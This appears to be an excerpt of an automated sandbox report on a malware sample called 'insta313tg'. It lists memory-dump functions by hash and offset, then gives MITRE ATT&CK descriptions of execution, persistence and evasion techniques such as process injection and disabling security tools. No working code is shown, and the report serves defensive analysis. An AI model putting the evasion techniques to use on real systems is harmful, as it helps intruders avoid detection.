Instruction Fuzzy Hash: BCE0AE74E04208AFCB44DFA9D944AACBBB9EB88310F10C1AA9849A3340D635AA51DF80

Uniqueness

Uniqueness Score: -1.00%

Function 0599CC60 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.472255702.0000000005980000.00000040.00000800.00020000.00000000.sdmp, Offset: 05980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_5980000_insta313tg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d2eaf61c8ae570a9f36504a77d6a4d09cb546e9e46e5937f7ca2df2115a04e
Instruction ID: 091b720802f84a064ed2638f2192aa5c4ff9578176b10b69dc0351d8cf31113e
Opcode Fuzzy Hash: e6d2eaf61c8ae570a9f36504a77d6a4d09cb546e9e46e5937f7ca2df2115a04e
Instruction Fuzzy Hash: 98E0C974D04208EFCB44DFACD944A9DBBB9EB48310F10C5AAD858A3341D7319A51DF80

Uniqueness

Uniqueness Score: -1.00%

Function 05985E87 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.472255702.0000000005980000.00000040.00000800.00020000.00000000.sdmp, Offset: 05980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_5980000_insta313tg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6abdb9b4535d40efca4f18b0b0a00e839da8c9aa34f5be698d3ee63b4db52cc
Instruction ID: 94276c78eb6b93440cf04c1e467c7e92f45eb54c2d0b03c146d273bf1236d8d9
Opcode Fuzzy Hash: d6abdb9b4535d40efca4f18b0b0a00e839da8c9aa34f5be698d3ee63b4db52cc
Instruction Fuzzy Hash: A2F05E74B091188FCB54DF14CA98ADA77F2FB88300F1014E9E50993749C7345EC58F61

Uniqueness

Uniqueness Score: -1.00%

Function 04C62AC1 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.471713171.0000000004C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_4c60000_insta313tg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15f735c97c15cf750245e540875fd115f5985b65942286ededc84484e6aeb275
Instruction ID: b89a0fc64e80f399a5cf994fc66f1cde416324fa2dfdb4b06a86039332f55e49
Opcode Fuzzy Hash: 15f735c97c15cf750245e540875fd115f5985b65942286ededc84484e6aeb275
Instruction Fuzzy Hash: B8F03934909148AFCB11DFA9C5947ACBFB0EF8A304F2881EAD98557363C2315A02EF44

Uniqueness

Uniqueness Score: -1.00%

Function 04C676A0 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.471713171.0000000004C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_4c60000_insta313tg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ed31c63acd714a0a6b3aa206c83a18169446b3224646529816c934606cb8c87
Instruction ID: 6a557a930bd1cf0e68fc187a5f4347332cf3b1a9aaff5bcac8d1f0e86bd988a7
Opcode Fuzzy Hash: 5ed31c63acd714a0a6b3aa206c83a18169446b3224646529816c934606cb8c87
Instruction Fuzzy Hash: 0EE09230949108DFCB04DFACD994BACBFB0EB49308F24859DC84953351C731A911CF04

Uniqueness

Uniqueness Score: -1.00%

Function 04C64860 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.471713171.0000000004C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_4c60000_insta313tg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df5079da767d658a5a8d5ce5ab7181046ad2d52a9e4cdf4cacdfa1a46b474165
Instruction ID: 79d09ced7e5f287e7b54fa9a77653c444122d9686bcb8d5f3d6950d063cf3728
Opcode Fuzzy Hash: df5079da767d658a5a8d5ce5ab7181046ad2d52a9e4cdf4cacdfa1a46b474165
Instruction Fuzzy Hash: D8E0653490410CEBCB05CF94D990EADBB76FB48300F14C1A9EC0923250C732AA21EB88

Uniqueness

Uniqueness Score: -1.00%

Function 04C667D0 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.471713171.0000000004C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_4c60000_insta313tg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 707e40044494322487452de3af4e8509e1b841ba57f9c47086694c5d7c608872
Instruction ID: 353b4a78bc895363050eb8500b0e9097172e71c93b04fb74148452b88786508e
Opcode Fuzzy Hash: 707e40044494322487452de3af4e8509e1b841ba57f9c47086694c5d7c608872
Instruction Fuzzy Hash: 8DF0C934904208EFCB05DF99D990AACBBB5EB88310F14C1AAEC5556351D732AA56EF44

Uniqueness

Uniqueness Score: -1.00%

Function 04C64B89 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.471713171.0000000004C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_4c60000_insta313tg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52593019b464d87c999eaa3e00b449090a9dbcf54bd5ec246740c8d89fddc1e6
Instruction ID: 02e5388bd50a7e4cc374ff50c3374d590e697bfdd919a476e303d952c0e6730d
Opcode Fuzzy Hash: 52593019b464d87c999eaa3e00b449090a9dbcf54bd5ec246740c8d89fddc1e6
Instruction Fuzzy Hash: 32F0D431901229EFDF24DFA1D955BECBBB2AB45301F4040EAD506762A0DA351E85DF14

Uniqueness

Uniqueness Score: -1.00%

Function 0599DDD0 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.472255702.0000000005980000.00000040.00000800.00020000.00000000.sdmp, Offset: 05980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_5980000_insta313tg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd3e0a58a574a8181f150e3c55f296e516dcd5f113b11aef6cfa0d531d130aec
Instruction ID: 20767dcff21606e9d1aa065edfca0d5657a3964ff25a3d3ac6299f8552059761
Opcode Fuzzy Hash: bd3e0a58a574a8181f150e3c55f296e516dcd5f113b11aef6cfa0d531d130aec
Instruction Fuzzy Hash: F5E04F7091920C9FCB44EFBCD9997ADBBF8EB89301F1045B9D84993381DA311A40DB55

Uniqueness

Uniqueness Score: -1.00%

Function 059803FC Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.472255702.0000000005980000.00000040.00000800.00020000.00000000.sdmp, Offset: 05980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_5980000_insta313tg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89eff5b33754640f6a2aef22eb24247680e405cd0dc59c417b82481b09b1edb8
Instruction ID: 6ef7ac22149694626cfed219e1030fc340e9169ec8d7476142fb26cf00713980
Opcode Fuzzy Hash: 89eff5b33754640f6a2aef22eb24247680e405cd0dc59c417b82481b09b1edb8
Instruction Fuzzy Hash: 94F03F74908229CFDB74DF24C958AA8BBB1BF08240F1015E5D54EA7A60DB315E85EF42

Uniqueness

Uniqueness Score: -1.00%

Function 0599F330 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.472255702.0000000005980000.00000040.00000800.00020000.00000000.sdmp, Offset: 05980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_5980000_insta313tg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 225f1f838c969afe2f31cda58d4ced71baba78429d7375ca0edc1fc0230fb8de
Instruction ID: 34a06b37d54622db2e48fc960d26b7798f2a947fbb7289abab554955ce015f56
Opcode Fuzzy Hash: 225f1f838c969afe2f31cda58d4ced71baba78429d7375ca0edc1fc0230fb8de
Instruction Fuzzy Hash: 83E08674908108EBCF05DF98D95196DFF78EB49310F14C1A9D84497341C7319A41DB94

Uniqueness

Uniqueness Score: -1.00%

Function 04C6292A Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.471713171.0000000004C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_4c60000_insta313tg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0526d66e961d06f44c7b616d40f80b183bbffd006555bd92a11c330537fdf27
Instruction ID: 57afbfe869998e20212297326a850a13361b0aa1460d53f846b41303b0392c15
Opcode Fuzzy Hash: f0526d66e961d06f44c7b616d40f80b183bbffd006555bd92a11c330537fdf27
Instruction Fuzzy Hash: 92E09A309081489FCB40DFA8E595BACBFB0EF46214F2481EEC84957252D7325A42CF40

Uniqueness

Uniqueness Score: -1.00%

Function 0599CF90 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.472255702.0000000005980000.00000040.00000800.00020000.00000000.sdmp, Offset: 05980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_5980000_insta313tg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78f28374d4f139bb2fb90f2f77f87e05ac83312367b7b9cc44242ece373e7ab0
Instruction ID: 5f0cbd5e2f9d638881b1c3235570b12ca0242a733bc4e46fb77d68cdc4618be9
Opcode Fuzzy Hash: 78f28374d4f139bb2fb90f2f77f87e05ac83312367b7b9cc44242ece373e7ab0
Instruction Fuzzy Hash: EDE01A34D04108EBCB04DF98D9406ACFBB8EB88300F1081A9D80953340D7316E01CF40

Uniqueness

Uniqueness Score: -1.00%

Function 0599EEA0 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.472255702.0000000005980000.00000040.00000800.00020000.00000000.sdmp, Offset: 05980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_5980000_insta313tg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c29b69455cae5fddfa332e407d70694f78e1a60e1dda2b0ffa66e2dc34c12ee
Instruction ID: ba71a0820207e3d9ce77195dccf08013bef17f9a7bc3ae4e4f9a974573839687
Opcode Fuzzy Hash: 9c29b69455cae5fddfa332e407d70694f78e1a60e1dda2b0ffa66e2dc34c12ee
Instruction Fuzzy Hash: DFE0B638909218DFCB44EFADD989A9CBFF8FB08301F1841A9D90997361E730AA40CB41

Uniqueness

Uniqueness Score: -1.00%

Function 05998238 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.472255702.0000000005980000.00000040.00000800.00020000.00000000.sdmp, Offset: 05980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_5980000_insta313tg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61acf04531aa3e5836e3d4d055c6082d80cbda8c03ab5421747d30ab070acae2
Instruction ID: 2dc960872d0631225495533001144719fa96e6c4f2e9446e888f865254dfc239
Opcode Fuzzy Hash: 61acf04531aa3e5836e3d4d055c6082d80cbda8c03ab5421747d30ab070acae2
Instruction Fuzzy Hash: 19E01A34D08108ABCB04DF98D5546ACFBB8EB89200F1485AEC85853341CA315A01DB40

Uniqueness

Uniqueness Score: -1.00%

Function 04C67C4A Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.471713171.0000000004C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_4c60000_insta313tg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f0a74365209cd77497039e582003d38ffb15ae3544933c4d87d1aad4db9cdfa
Instruction ID: fe00d0978b8be5a935c482b10e5ab1019adf09650d26ca8a13c47fbc71857ad2
Opcode Fuzzy Hash: 0f0a74365209cd77497039e582003d38ffb15ae3544933c4d87d1aad4db9cdfa
Instruction Fuzzy Hash: DAE08C3095A104EFCB10CF98D9D4BA9B764EB41308F2485EED80A83251CB32AD42CF49

Uniqueness

Uniqueness Score: -1.00%

Function 04C67018 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.471713171.0000000004C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_4c60000_insta313tg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 082f1e58be01f9c40889b4181dbb68f2df772e4de2a9e362ca64c11b965e3b10
Instruction ID: 187d15087aa65e126ed1fef4fb6c08c83129d84f2cc303ffdbbb3741fe12d663
Opcode Fuzzy Hash: 082f1e58be01f9c40889b4181dbb68f2df772e4de2a9e362ca64c11b965e3b10
Instruction Fuzzy Hash: D4E04F34D05108EFC704DFE8D5806ACFBB9EB88314F14C1AAC80953340DB316A42CF80

Uniqueness

Uniqueness Score: -1.00%

Function 04C64DC2 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.471713171.0000000004C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_4c60000_insta313tg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 723f26318b18534ad3f65a885ebd400683b0d65ebb245d57e511742269aa8f10
Instruction ID: cb747b6d862ff713eb9a08282de322881f986d44f87eb14e39f19d276d5ecffe
Opcode Fuzzy Hash: 723f26318b18534ad3f65a885ebd400683b0d65ebb245d57e511742269aa8f10
Instruction Fuzzy Hash: 75F01C3180061ADBCF119F51CC40ADDB776FF44304F008695E94927150DB35AB969F80

Uniqueness

Uniqueness Score: -1.00%

Function 04C63FA4 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.471713171.0000000004C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_4c60000_insta313tg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e90768b07e255fa1df9a0032d763492d32d690f34c61866b7dec0f0f2b604042
Instruction ID: c3d800a168bf387269262397bd05ec5e8297447fa4f21b260761e282542c5640
Opcode Fuzzy Hash: e90768b07e255fa1df9a0032d763492d32d690f34c61866b7dec0f0f2b604042
Instruction Fuzzy Hash: B9E0E531A04208DFDF258F90C884BDDBB76EB08305F148199A98A672A1C7B86AD5EF40

Uniqueness

Uniqueness Score: -1.00%

Function 0599D200 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.472255702.0000000005980000.00000040.00000800.00020000.00000000.sdmp, Offset: 05980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_5980000_insta313tg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9eb3dc3a314bd77937ebe5b7bfbd6911cd13fd7bedee600160d7510df242d4b1
Instruction ID: 9b7a82f8e1805e0309eb82ff170de3e723fd0a66d4577e5806c5b5df57151ec9
Opcode Fuzzy Hash: 9eb3dc3a314bd77937ebe5b7bfbd6911cd13fd7bedee600160d7510df242d4b1
Instruction Fuzzy Hash: 2BE01234949208DBCF08DFD8D99596CFB79FB85314F14D1A9C80927345CB31AE42CB85

Uniqueness

Uniqueness Score: -1.00%

Function 04C61C80 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.471713171.0000000004C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_4c60000_insta313tg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2dadfb6a1047e9f9d93f19a19e2eb8cc1fff1d72b1c37fa857a712117b5a427
Instruction ID: ee97d56148392ee2bb1ef10bf33f7987896c2d606b02b47a1c87429a169b079a
Opcode Fuzzy Hash: d2dadfb6a1047e9f9d93f19a19e2eb8cc1fff1d72b1c37fa857a712117b5a427
Instruction Fuzzy Hash: BFE0C234908108EBC704DF98D98497CBB79EB85301F18D5A9C80A23340CB31AE02CB80

Uniqueness

Uniqueness Score: -1.00%

Function 04C676B0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.471713171.0000000004C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_4c60000_insta313tg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2dadfb6a1047e9f9d93f19a19e2eb8cc1fff1d72b1c37fa857a712117b5a427
Instruction ID: 89838c54416ce1f7e8fb3acafb04324050d45072f2d138dc86406a84c62e6b95
Opcode Fuzzy Hash: d2dadfb6a1047e9f9d93f19a19e2eb8cc1fff1d72b1c37fa857a712117b5a427
Instruction Fuzzy Hash: F4E0C234909108DBC704EF98D98096CBB79EB85304F24C5A9C80913350DB31AE02CB80

Uniqueness

Uniqueness Score: -1.00%

Function 04C65FFE Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.471713171.0000000004C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_4c60000_insta313tg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49c70a0c6a4e1429b3639c5adf6d3ca31c050c8e30b6e80779d710cdc17b608c
Instruction ID: 244046a01e687d3e24b425b91b0b8ab7129b58f8dd3cc4a6b25372a277869a8e
Opcode Fuzzy Hash: 49c70a0c6a4e1429b3639c5adf6d3ca31c050c8e30b6e80779d710cdc17b608c
Instruction Fuzzy Hash: 5AF06D70809259CFC725DF24DC54BDDBF70AF06305F1841EAD445A7251DB380A84DF50

Uniqueness

Uniqueness Score: -1.00%

Function 04C67FB9 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.471713171.0000000004C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_4c60000_insta313tg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d313c0c345354066d650964801d73835c94811e7ea1f5f98de683c4acfd134a3
Instruction ID: 30c8579e7a4bbf770ce6c4a1e3a1e56bf2ced845593332fe7c411004ae88a8e4
Opcode Fuzzy Hash: d313c0c345354066d650964801d73835c94811e7ea1f5f98de683c4acfd134a3
Instruction Fuzzy Hash: 7EE0C23084B004EFCB00CB78C591FFDB768EF02308F2441ADC85913552DB311922DE46

Uniqueness

Uniqueness Score: -1.00%

Function 04C62320 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.471713171.0000000004C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_4c60000_insta313tg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2dadfb6a1047e9f9d93f19a19e2eb8cc1fff1d72b1c37fa857a712117b5a427
Instruction ID: 3094973b26e8a45ebc051a2da6aaa4b140baf9c778a19e691e8abdcb26a65c36
Opcode Fuzzy Hash: d2dadfb6a1047e9f9d93f19a19e2eb8cc1fff1d72b1c37fa857a712117b5a427
Instruction Fuzzy Hash: 7FE0123490910CDBCB04EF98D995A6CBB79EB85314F14D1E9C94917341DB316F42DB86

Uniqueness

Uniqueness Score: -1.00%

Function 04C65335 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.471713171.0000000004C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_4c60000_insta313tg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1051731cae474245c670ec62c8de408cb48d731e6adc5bc4cfb9ff791d550fa
Instruction ID: d286d416a9fa05adeaf70c82d8516d09b73ccd1b77ed3d211834cffc6e005ddf
Opcode Fuzzy Hash: b1051731cae474245c670ec62c8de408cb48d731e6adc5bc4cfb9ff791d550fa
Instruction Fuzzy Hash: CFE0B675A01328DFEB10CF51CD84FDDBBB6EB55305F045095E506B6290D3746A85DF18

Uniqueness

Uniqueness Score: -1.00%

Function 04C67FC8 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.471713171.0000000004C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_4c60000_insta313tg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e461c5ba559b3617052e0b9a466a22be6b5101d5a65478e97941e2eaba24e0b8
Instruction ID: f1e5703aa8af73d0f68c905a26e70b84ded32b3b7a7d9d93dc184534db89ffa4
Opcode Fuzzy Hash: e461c5ba559b3617052e0b9a466a22be6b5101d5a65478e97941e2eaba24e0b8
Instruction Fuzzy Hash: 3CD0223044B20CEBC700CFB8C940F6D736CEB02328F1095ADC80923240DF302E00CA46

Uniqueness

Uniqueness Score: -1.00%

Function 04C63D8A Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.471713171.0000000004C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_4c60000_insta313tg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 627cda2c17d03f7cbcca56f0555fd59c233913b1970effb1948fd46daa5fb4e5
Instruction ID: 3ce49bd7a1ae5593e2ec15255ff39a59f5a595d664913162ddfdeeb023b1abd7
Opcode Fuzzy Hash: 627cda2c17d03f7cbcca56f0555fd59c233913b1970effb1948fd46daa5fb4e5
Instruction Fuzzy Hash: C7E0E231A04208DFCF569F90C884BDABB76FB48301F048595AA896B264CBB55AD1EF50

Uniqueness

Uniqueness Score: -1.00%

Function 0599D5B0 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.472255702.0000000005980000.00000040.00000800.00020000.00000000.sdmp, Offset: 05980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_5980000_insta313tg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad79b90549191d49f0943254cf846adb27d6d3eee4eaa6c83f7e50bcaebf6c8e
Instruction ID: b3662fd7c8169b145f4043fb49323ac7e1a06f5dadaac31afd223c747a4a8cc0
Opcode Fuzzy Hash: ad79b90549191d49f0943254cf846adb27d6d3eee4eaa6c83f7e50bcaebf6c8e
Instruction Fuzzy Hash: E7C02B3004EB0883C709A7BCA89CB38B38CA306309F002911C10D010650B722010C786

Uniqueness

Uniqueness Score: -1.00%

Function 049FAEA2 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.471648157.00000000049F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 049F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_49f0000_insta313tg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1e7c1c1a87a0d4b696ba531e57159e6ff51336f6d782aeaa8afe610f69e33a9
Instruction ID: 343a7a82c3fdffea967576ba361cc15c87bea464558178a02339cdc4117b990d
Opcode Fuzzy Hash: e1e7c1c1a87a0d4b696ba531e57159e6ff51336f6d782aeaa8afe610f69e33a9
Instruction Fuzzy Hash: 2DC0023164D2818FC34297A89868E25BFB0DFA7A05F19449AE2C5CA0A2C6245811C722

Uniqueness

Uniqueness Score: -1.00%

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

